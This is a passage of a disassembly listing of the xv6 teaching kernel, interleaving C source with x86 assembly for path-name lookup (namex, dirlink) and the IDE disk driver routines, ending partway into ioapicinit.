%edx,-0x20(%ebp) if(*path == '/') 80101c73: 0f 84 51 01 00 00 je 80101dca <namex+0x16a> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c79: e8 02 1a 00 00 call 80103680 <myproc> 80101c7e: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101c81: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c88: e8 93 24 00 00 call 80104120 <acquire> ip->ref++; 80101c8d: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101c91: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c98: e8 73 25 00 00 call 80104210 <release> 80101c9d: eb 04 jmp 80101ca3 <namex+0x43> 80101c9f: 90 nop path++; 80101ca0: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101ca3: 0f b6 03 movzbl (%ebx),%eax 80101ca6: 3c 2f cmp $0x2f,%al 80101ca8: 74 f6 je 80101ca0 <namex+0x40> if(*path == 0) 80101caa: 84 c0 test %al,%al 80101cac: 0f 84 ed 00 00 00 je 80101d9f <namex+0x13f> while(*path != '/' && *path != 0) 80101cb2: 0f b6 03 movzbl (%ebx),%eax 80101cb5: 89 da mov %ebx,%edx 80101cb7: 84 c0 test %al,%al 80101cb9: 0f 84 b1 00 00 00 je 80101d70 <namex+0x110> 80101cbf: 3c 2f cmp $0x2f,%al 80101cc1: 75 0f jne 80101cd2 <namex+0x72> 80101cc3: e9 a8 00 00 00 jmp 80101d70 <namex+0x110> 80101cc8: 3c 2f cmp $0x2f,%al 80101cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101cd0: 74 0a je 80101cdc <namex+0x7c> path++; 80101cd2: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101cd5: 0f b6 02 movzbl (%edx),%eax 80101cd8: 84 c0 test %al,%al 80101cda: 75 ec jne 80101cc8 <namex+0x68> 80101cdc: 89 d1 mov %edx,%ecx 80101cde: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101ce0: 83 f9 0d cmp $0xd,%ecx 80101ce3: 0f 8e 8f 00 00 00 jle 80101d78 <namex+0x118> memmove(name, s, DIRSIZ); 80101ce9: 89 5c 24 04 mov %ebx,0x4(%esp) 80101ced: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101cf4: 00 80101cf5: 89 3c 24 mov %edi,(%esp) 80101cf8: 89 55 e4 mov %edx,-0x1c(%ebp) 80101cfb: e8 00 26 00 00 call 80104300 <memmove> path++; 80101d00: 8b 55 e4 mov -0x1c(%ebp),%edx 80101d03: 89 d3 mov %edx,%ebx while(*path == '/') 80101d05: 80 3a 2f cmpb $0x2f,(%edx) 80101d08: 75 0e jne 80101d18 <namex+0xb8> 80101d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi path++; 80101d10: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d13: 80 3b 2f cmpb $0x2f,(%ebx) 80101d16: 74 f8 je 80101d10 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d18: 89 34 24 mov %esi,(%esp) 80101d1b: e8 70 f9 ff ff call 80101690 <ilock> if(ip->type != T_DIR){ 80101d20: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d25: 0f 85 85 00 00 00 jne 80101db0 <namex+0x150> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d2b: 8b 55 e0 mov -0x20(%ebp),%edx 80101d2e: 85 d2 test %edx,%edx 80101d30: 74 09 je 80101d3b <namex+0xdb> 80101d32: 80 3b 00 cmpb $0x0,(%ebx) 80101d35: 0f 84 a5 00 00 00 je 80101de0 <namex+0x180> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d3b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101d42: 00 80101d43: 89 7c 24 04 mov %edi,0x4(%esp) 80101d47: 89 34 24 mov %esi,(%esp) 80101d4a: e8 51 fe ff ff call 80101ba0 <dirlookup> 80101d4f: 85 c0 test %eax,%eax 80101d51: 74 5d je 80101db0 <namex+0x150> iunlock(ip); 80101d53: 89 34 24 mov %esi,(%esp) 80101d56: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d59: e8 12 fa ff ff call 80101770 <iunlock> iput(ip); 80101d5e: 89 34 24 mov %esi,(%esp) 80101d61: e8 4a fa ff ff call 801017b0 <iput> iunlockput(ip); return 0; } iunlockput(ip); ip = next; 80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d69: 89 c6 mov %eax,%esi 80101d6b: e9 33 ff ff ff jmp 80101ca3 <namex+0x43> while(*path != '/' && *path != 0) 80101d70: 31 c9 xor %ecx,%ecx 80101d72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memmove(name, s, len); 80101d78: 89 4c 24 08 mov %ecx,0x8(%esp) 80101d7c: 89 5c 24 04 mov %ebx,0x4(%esp) 80101d80: 89 3c 24 mov %edi,(%esp) 80101d83: 89 55 dc mov %edx,-0x24(%ebp) 80101d86: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d89: e8 72 25 00 00 call 80104300 <memmove> name[len] = 0; 80101d8e: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101d91: 8b 55 dc mov -0x24(%ebp),%edx 80101d94: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101d98: 89 d3 mov %edx,%ebx 80101d9a: e9 66 ff ff ff jmp 80101d05 <namex+0xa5> } if(nameiparent){ 80101d9f: 8b 45 e0 mov -0x20(%ebp),%eax 80101da2: 85 c0 test %eax,%eax 80101da4: 75 4c jne 80101df2 <namex+0x192> 80101da6: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101da8: 83 c4 2c add $0x2c,%esp 80101dab: 5b pop %ebx 80101dac: 5e pop %esi 80101dad: 5f pop %edi 80101dae: 5d pop %ebp 80101daf: c3 ret iunlock(ip); 80101db0: 89 34 24 mov %esi,(%esp) 80101db3: e8 b8 f9 ff ff call 80101770 <iunlock> iput(ip); 80101db8: 89 34 24 mov %esi,(%esp) 80101dbb: e8 f0 f9 ff ff call 801017b0 <iput> } 80101dc0: 83 c4 2c add $0x2c,%esp return 0; 80101dc3: 31 c0 xor %eax,%eax } 80101dc5: 5b pop %ebx 80101dc6: 5e pop %esi 80101dc7: 5f pop %edi 80101dc8: 5d pop %ebp 80101dc9: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101dca: ba 01 00 00 00 mov $0x1,%edx 80101dcf: b8 01 00 00 00 mov $0x1,%eax 80101dd4: e8 17 f4 ff ff call 801011f0 <iget> 80101dd9: 89 c6 mov %eax,%esi 80101ddb: e9 c3 fe ff ff jmp 80101ca3 <namex+0x43> iunlock(ip); 80101de0: 89 34 24 mov %esi,(%esp) 80101de3: e8 88 f9 ff ff call 80101770 <iunlock> } 80101de8: 83 c4 2c add $0x2c,%esp return ip; 80101deb: 89 f0 mov %esi,%eax } 80101ded: 5b pop %ebx 80101dee: 5e pop %esi 80101def: 5f pop %edi 80101df0: 5d pop %ebp 80101df1: c3 ret iput(ip); 80101df2: 89 34 24 mov %esi,(%esp) 80101df5: e8 b6 f9 ff ff call 801017b0 <iput> return 0; 80101dfa: 31 c0 xor %eax,%eax 80101dfc: eb aa jmp 80101da8 <namex+0x148> 80101dfe: 66 90 xchg %ax,%ax 80101e00 <dirlink>: { 80101e00: 55 push %ebp 80101e01: 89 e5 mov %esp,%ebp 80101e03: 57 push %edi 80101e04: 56 push %esi 80101e05: 53 push %ebx 80101e06: 83 ec 2c sub $0x2c,%esp 80101e09: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e0c: 8b 45 0c mov 0xc(%ebp),%eax 80101e0f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101e16: 00 80101e17: 89 1c 24 mov %ebx,(%esp) 80101e1a: 89 44 24 04 mov %eax,0x4(%esp) 80101e1e: e8 7d fd ff ff call 80101ba0 <dirlookup> 80101e23: 85 c0 test %eax,%eax 80101e25: 0f 85 8b 00 00 00 jne 80101eb6 <dirlink+0xb6> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e2b: 8b 43 58 mov 0x58(%ebx),%eax 80101e2e: 31 ff xor %edi,%edi 80101e30: 8d 75 d8 lea -0x28(%ebp),%esi 80101e33: 85 c0 test %eax,%eax 80101e35: 75 13 jne 80101e4a <dirlink+0x4a> 80101e37: eb 35 jmp 80101e6e <dirlink+0x6e> 80101e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e40: 8d 57 10 lea 0x10(%edi),%edx 80101e43: 39 53 58 cmp %edx,0x58(%ebx) 80101e46: 89 d7 mov %edx,%edi 80101e48: 76 24 jbe 80101e6e <dirlink+0x6e> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e4a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101e51: 00 80101e52: 89 7c 24 08 mov %edi,0x8(%esp) 80101e56: 89 74 24 04 mov %esi,0x4(%esp) 80101e5a: 89 1c 24 mov %ebx,(%esp) 80101e5d: e8 de fa ff ff call 80101940 <readi> 80101e62: 83 f8 10 cmp $0x10,%eax 80101e65: 75 5e jne 80101ec5 <dirlink+0xc5> if(de.inum == 0) 80101e67: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e6c: 75 d2 jne 80101e40 <dirlink+0x40> strncpy(de.name, name, DIRSIZ); 80101e6e: 8b 45 0c mov 0xc(%ebp),%eax 80101e71: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101e78: 00 80101e79: 89 44 24 04 mov %eax,0x4(%esp) 80101e7d: 8d 45 da lea -0x26(%ebp),%eax 80101e80: 89 04 24 mov %eax,(%esp) 80101e83: e8 68 25 00 00 call 801043f0 <strncpy> de.inum = inum; 80101e88: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e8b: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101e92: 00 80101e93: 89 7c 24 08 mov %edi,0x8(%esp) 80101e97: 89 74 24 04 mov %esi,0x4(%esp) 80101e9b: 89 1c 24 mov %ebx,(%esp) de.inum = inum; 80101e9e: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ea2: e8 99 fb ff ff call 80101a40 <writei> 80101ea7: 83 f8 10 cmp $0x10,%eax 80101eaa: 75 25 jne 80101ed1 <dirlink+0xd1> return 0; 80101eac: 31 c0 xor %eax,%eax } 80101eae: 83 c4 2c add $0x2c,%esp 80101eb1: 5b pop %ebx 80101eb2: 5e pop %esi 80101eb3: 5f pop %edi 80101eb4: 5d pop %ebp 80101eb5: c3 ret iput(ip); 80101eb6: 89 04 24 mov %eax,(%esp) 80101eb9: e8 f2 f8 ff ff call 801017b0 <iput> return -1; 80101ebe: b8 ff ff ff ff mov $0xffffffff,%eax 80101ec3: eb e9 jmp 80101eae <dirlink+0xae> panic("dirlink read"); 80101ec5: c7 04 24 68 6f 10 80 movl $0x80106f68,(%esp) 80101ecc: e8 8f e4 ff ff call 80100360 <panic> panic("dirlink"); 80101ed1: c7 04 24 66 75 10 80 movl $0x80107566,(%esp) 80101ed8: e8 83 e4 ff ff call 80100360 <panic> 80101edd: 8d 76 00 lea 0x0(%esi),%esi 80101ee0 <namei>: struct inode* namei(char *path) { 80101ee0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101ee1: 31 d2 xor %edx,%edx { 80101ee3: 89 e5 mov %esp,%ebp 80101ee5: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101ee8: 8b 45 08 mov 0x8(%ebp),%eax 80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx 80101eee: e8 6d fd ff ff call 80101c60 <namex> } 80101ef3: c9 leave 80101ef4: c3 ret 80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f00 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f00: 55 push %ebp return namex(path, 1, name); 80101f01: ba 01 00 00 00 mov $0x1,%edx { 80101f06: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f0b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f0e: 5d pop %ebp return namex(path, 1, name); 80101f0f: e9 4c fd ff ff jmp 80101c60 <namex> 80101f14: 66 90 xchg %ax,%ax 80101f16: 66 90 xchg %ax,%ax 80101f18: 66 90 xchg %ax,%ax 80101f1a: 66 90 xchg %ax,%ax 80101f1c: 66 90 xchg %ax,%ax 80101f1e: 66 90 xchg %ax,%ax 80101f20 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f20: 55 push %ebp 80101f21: 89 e5 mov %esp,%ebp 80101f23: 56 push %esi 80101f24: 89 c6 mov %eax,%esi 80101f26: 53 push %ebx 80101f27: 83 ec 10 sub $0x10,%esp if(b == 0) 80101f2a: 85 c0 test %eax,%eax 80101f2c: 0f 84 99 00 00 00 je 80101fcb <idestart+0xab> panic("idestart"); if(b->blockno >= FSSIZE) 80101f32: 8b 48 08 mov 0x8(%eax),%ecx 80101f35: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx 80101f3b: 0f 87 7e 00 00 00 ja 80101fbf <idestart+0x9f> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f41: ba f7 01 00 00 mov $0x1f7,%edx 80101f46: 66 90 xchg %ax,%ax 80101f48: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f49: 83 e0 c0 and $0xffffffc0,%eax 80101f4c: 3c 40 cmp $0x40,%al 80101f4e: 75 f8 jne 80101f48 <idestart+0x28> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f50: 31 db xor %ebx,%ebx 80101f52: ba f6 03 00 00 mov $0x3f6,%edx 80101f57: 89 d8 mov %ebx,%eax 80101f59: ee out %al,(%dx) 80101f5a: ba f2 01 00 00 mov $0x1f2,%edx 80101f5f: b8 01 00 00 00 mov $0x1,%eax 80101f64: ee out %al,(%dx) 80101f65: 0f b6 c1 movzbl %cl,%eax 80101f68: b2 f3 mov $0xf3,%dl 80101f6a: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f6b: 89 c8 mov %ecx,%eax 80101f6d: b2 f4 mov $0xf4,%dl 80101f6f: c1 f8 08 sar $0x8,%eax 80101f72: ee out %al,(%dx) 80101f73: b2 f5 mov $0xf5,%dl 80101f75: 89 d8 mov %ebx,%eax 80101f77: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101f78: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101f7c: b2 f6 mov $0xf6,%dl 80101f7e: 83 e0 01 and $0x1,%eax 80101f81: c1 e0 04 shl $0x4,%eax 80101f84: 83 c8 e0 or $0xffffffe0,%eax 80101f87: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101f88: f6 06 04 testb $0x4,(%esi) 80101f8b: 75 13 jne 80101fa0 <idestart+0x80> 80101f8d: ba f7 01 00 00 mov $0x1f7,%edx 80101f92: b8 20 00 00 00 mov $0x20,%eax 80101f97: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101f98: 83 c4 10 add $0x10,%esp 80101f9b: 5b pop %ebx 80101f9c: 5e pop %esi 80101f9d: 5d pop %ebp 80101f9e: c3 ret 80101f9f: 90 nop 80101fa0: b2 f7 mov $0xf7,%dl 80101fa2: b8 30 00 00 00 mov $0x30,%eax 80101fa7: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fa8: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fad: 83 c6 5c add $0x5c,%esi 80101fb0: ba f0 01 00 00 mov $0x1f0,%edx 80101fb5: fc cld 80101fb6: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fb8: 83 c4 10 add $0x10,%esp 80101fbb: 5b pop %ebx 80101fbc: 5e pop %esi 80101fbd: 5d pop %ebp 80101fbe: c3 ret panic("incorrect blockno"); 80101fbf: c7 04 24 d4 6f 10 80 movl $0x80106fd4,(%esp) 80101fc6: e8 95 e3 ff ff call 80100360 <panic> panic("idestart"); 80101fcb: c7 04 24 cb 6f 10 80 movl $0x80106fcb,(%esp) 80101fd2: e8 89 e3 ff ff call 80100360 <panic> 80101fd7: 89 f6 mov %esi,%esi 80101fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101fe0 <ideinit>: { 80101fe0: 55 push %ebp 80101fe1: 89 e5 mov %esp,%ebp 80101fe3: 83 ec 18 sub $0x18,%esp initlock(&idelock, "ide"); 80101fe6: c7 44 24 04 e6 6f 10 movl $0x80106fe6,0x4(%esp) 80101fed: 80 80101fee: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80101ff5: e8 36 20 00 00 call 80104030 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80101ffa: a1 00 2d 11 80 mov 0x80112d00,%eax 80101fff: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102006: 83 e8 01 sub $0x1,%eax 80102009: 89 44 24 04 mov %eax,0x4(%esp) 8010200d: e8 7e 02 00 00 call 80102290 <ioapicenable> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102012: ba f7 01 00 00 mov $0x1f7,%edx 80102017: 90 nop 80102018: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102019: 83 e0 c0 and $0xffffffc0,%eax 8010201c: 3c 40 cmp $0x40,%al 8010201e: 75 f8 jne 80102018 <ideinit+0x38> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102020: ba f6 01 00 00 mov $0x1f6,%edx 80102025: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010202a: ee out %al,(%dx) 8010202b: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102030: b2 f7 mov $0xf7,%dl 80102032: eb 09 jmp 8010203d <ideinit+0x5d> 80102034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<1000; i++){ 80102038: 83 e9 01 sub $0x1,%ecx 8010203b: 74 0f je 8010204c <ideinit+0x6c> 8010203d: ec in (%dx),%al if(inb(0x1f7) != 0){ 8010203e: 84 c0 test %al,%al 80102040: 74 f6 je 80102038 <ideinit+0x58> havedisk1 = 1; 80102042: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102049: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010204c: ba f6 01 00 00 mov $0x1f6,%edx 80102051: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102056: ee out %al,(%dx) } 80102057: c9 leave 80102058: c3 ret 80102059: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102060 <ideintr>: // Interrupt handler. void ideintr(void) { 80102060: 55 push %ebp 80102061: 89 e5 mov %esp,%ebp 80102063: 57 push %edi 80102064: 56 push %esi 80102065: 53 push %ebx 80102066: 83 ec 1c sub $0x1c,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102069: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102070: e8 ab 20 00 00 call 80104120 <acquire> if((b = idequeue) == 0){ 80102075: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 8010207b: 85 db test %ebx,%ebx 8010207d: 74 30 je 801020af <ideintr+0x4f> release(&idelock); return; } idequeue = b->qnext; 8010207f: 8b 43 58 mov 0x58(%ebx),%eax 80102082: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 80102087: 8b 33 mov (%ebx),%esi 80102089: f7 c6 04 00 00 00 test $0x4,%esi 8010208f: 74 37 je 801020c8 <ideintr+0x68> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 80102091: 83 e6 fb and $0xfffffffb,%esi 80102094: 83 ce 02 or $0x2,%esi 80102097: 89 33 mov %esi,(%ebx) wakeup(b); 80102099: 89 1c 24 mov %ebx,(%esp) 8010209c: e8 cf 1c 00 00 call 80103d70 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020a1: a1 64 a5 10 80 mov 0x8010a564,%eax 801020a6: 85 c0 test %eax,%eax 801020a8: 74 05 je 801020af <ideintr+0x4f> idestart(idequeue); 801020aa: e8 71 fe ff ff call 80101f20 <idestart> release(&idelock); 801020af: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020b6: e8 55 21 00 00 call 80104210 <release> release(&idelock); } 801020bb: 83 c4 1c add $0x1c,%esp 801020be: 5b pop %ebx 801020bf: 5e pop %esi 801020c0: 5f pop %edi 801020c1: 5d pop %ebp 801020c2: c3 ret 801020c3: 90 nop 801020c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020c8: ba f7 01 00 00 mov $0x1f7,%edx 801020cd: 8d 76 00 lea 0x0(%esi),%esi 801020d0: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020d1: 89 c1 mov %eax,%ecx 801020d3: 83 e1 c0 and $0xffffffc0,%ecx 801020d6: 80 f9 40 cmp $0x40,%cl 801020d9: 75 f5 jne 801020d0 <ideintr+0x70> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020db: a8 21 test $0x21,%al 801020dd: 75 b2 jne 80102091 <ideintr+0x31> insl(0x1f0, b->data, BSIZE/4); 801020df: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 801020e2: b9 80 00 00 00 mov $0x80,%ecx 801020e7: ba f0 01 00 00 mov $0x1f0,%edx 801020ec: fc cld 801020ed: f3 6d rep insl (%dx),%es:(%edi) 801020ef: 8b 33 mov (%ebx),%esi 801020f1: eb 9e jmp 80102091 <ideintr+0x31> 801020f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801020f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102100 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102100: 55 push %ebp 80102101: 89 e5 mov %esp,%ebp 80102103: 53 push %ebx 80102104: 83 ec 14 sub $0x14,%esp 80102107: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010210a: 8d 43 0c lea 0xc(%ebx),%eax 8010210d: 89 04 24 mov %eax,(%esp) 80102110: e8 eb 1e 00 00 call 80104000 <holdingsleep> 80102115: 85 c0 test %eax,%eax 80102117: 0f 84 9e 00 00 00 je 801021bb <iderw+0xbb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010211d: 8b 03 mov (%ebx),%eax 8010211f: 83 e0 06 and $0x6,%eax 80102122: 83 f8 02 cmp $0x2,%eax 80102125: 0f 84 a8 00 00 00 je 801021d3 <iderw+0xd3> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010212b: 8b 53 04 mov 0x4(%ebx),%edx 8010212e: 85 d2 test %edx,%edx 80102130: 74 0d je 8010213f <iderw+0x3f> 80102132: a1 60 a5 10 80 mov 0x8010a560,%eax 80102137: 85 c0 test %eax,%eax 80102139: 0f 84 88 00 00 00 je 801021c7 <iderw+0xc7> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 8010213f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102146: e8 d5 1f 00 00 call 80104120 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010214b: a1 64 a5 10 80 mov 0x8010a564,%eax b->qnext = 0; 80102150: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102157: 85 c0 test %eax,%eax 80102159: 75 07 jne 80102162 <iderw+0x62> 8010215b: eb 4e jmp 801021ab <iderw+0xab> 8010215d: 8d 76 00 lea 0x0(%esi),%esi 80102160: 89 d0 mov %edx,%eax 80102162: 8b 50 58 mov 0x58(%eax),%edx 80102165: 85 d2 test %edx,%edx 80102167: 75 f7 jne 80102160 <iderw+0x60> 80102169: 83 c0 58 add $0x58,%eax ; *pp = b; 8010216c: 89 18 mov %ebx,(%eax) // Start disk if necessary. if(idequeue == b) 8010216e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 80102174: 74 3c je 801021b2 <iderw+0xb2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 80102176: 8b 03 mov (%ebx),%eax 80102178: 83 e0 06 and $0x6,%eax 8010217b: 83 f8 02 cmp $0x2,%eax 8010217e: 74 1a je 8010219a <iderw+0x9a> sleep(b, &idelock); 80102180: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp) 80102187: 80 80102188: 89 1c 24 mov %ebx,(%esp) 8010218b: e8 50 1a 00 00 call 80103be0 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 80102190: 8b 13 mov (%ebx),%edx 80102192: 83 e2 06 and $0x6,%edx 80102195: 83 fa 02 cmp $0x2,%edx 80102198: 75 e6 jne 80102180 <iderw+0x80> } release(&idelock); 8010219a: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021a1: 83 c4 14 add $0x14,%esp 801021a4: 5b pop %ebx 801021a5: 5d pop %ebp release(&idelock); 801021a6: e9 65 20 00 00 jmp 80104210 <release> for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021ab: b8 64 a5 10 80 mov $0x8010a564,%eax 801021b0: eb ba jmp 8010216c <iderw+0x6c> idestart(b); 801021b2: 89 d8 mov %ebx,%eax 801021b4: e8 67 fd ff ff call 80101f20 <idestart> 801021b9: eb bb jmp 80102176 <iderw+0x76> panic("iderw: buf not locked"); 801021bb: c7 04 24 ea 6f 10 80 movl $0x80106fea,(%esp) 801021c2: e8 99 e1 ff ff call 80100360 <panic> panic("iderw: ide disk 1 not present"); 801021c7: c7 04 24 15 70 10 80 movl $0x80107015,(%esp) 801021ce: e8 8d e1 ff ff call 80100360 <panic> panic("iderw: nothing to do"); 801021d3: c7 04 24 00 70 10 80 movl $0x80107000,(%esp) 801021da: e8 81 e1 ff ff call 80100360 <panic> 801021df: 90 nop 801021e0 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 801021e0: 55 push %ebp 801021e1: 89 e5 mov %esp,%ebp 801021e3: 56 push %esi 801021e4: 53 push %ebx 801021e5: 83 ec 10 sub $0x10,%esp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 801021e8: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 801021ef: 00 c0 fe ioapic->reg = reg; 801021f2: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 801021f9: 00 00 00 return ioapic->data; 801021fc: 8b 15 34 26 11 80 mov 0x80112634,%edx 80102202: 8b 42 10 mov 0x10(%edx),%eax ioapic->reg = reg; 80102205: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 8010220b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102211: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102218: c1 e8 10 shr $0x10,%eax 8010221b: 0f b6 f0 movzbl %al,%esi return ioapic->data; 8010221e: 8b 43 10 mov 0x10(%ebx),%eax id = ioapicread(REG_ID) >> 24; 80102221: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102224: 39 c2 cmp %eax,%edx 80102226: 74 12 je 8010223a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102228: c7 04 24 34 70 10 80 movl $0x80107034,(%esp) 8010222f: e8 1c e4 ff ff call 80100650 <cprintf> 80102234: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 8010223a: ba 10 00 00 00 mov $0x10,%edx 8010223f: 31 c0 xor %eax,%eax 80102241: eb 07 jmp 8010224a <ioapicinit+0x6a> 80102243: 90 nop 80102244: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102248: 89 cb mov %ecx,%ebx ioapic->reg = reg; 8010224a: 89 13 mov %edx,(%ebx) ioapic->data = data; 8010224c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 80102252: 8d 48 20 lea 0x20(%eax),%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102255: 81 c9 00 00 01 00 or 